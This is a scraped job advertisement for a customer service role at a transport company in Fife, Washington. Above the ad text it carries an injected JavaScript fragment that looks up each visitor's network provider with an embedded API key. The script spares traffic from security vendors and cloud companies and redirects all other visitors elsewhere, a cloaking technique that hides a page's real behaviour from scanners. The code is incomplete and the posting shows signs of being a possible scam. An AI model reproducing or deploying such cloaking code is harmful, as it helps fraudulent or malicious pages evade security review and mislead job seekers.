Customer Service Representative – Non-Exempt

Customer Service Representative – Non-Exempt

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Representative (Non-Location Specific) to join our team in Fife, Washington.

In this role, you will:

  • Provide exceptional support to customers via phone, email, and chat, addressing inquiries and resolving issues promptly.
  • Assist with order processing, tracking, and account management to ensure customer satisfaction.
  • Maintain accurate records of interactions and transactions in our database.
  • Collaborate with team members to improve service delivery and resolve complex customer concerns.
  • Identify opportunities to enhance customer experience and suggest process improvements.

Skills needed include excellent communication, problem-solving, and active listening. A positive attitude and ability to work in a fast-paced environment are essential.

Benefits include competitive pay, health insurance options, paid time off, training programs, and opportunities for growth. Join us to provide top-tier service and make a difference for our customers!

Emploment Location
Fife, Washington

Apply to Join Progression Transport.

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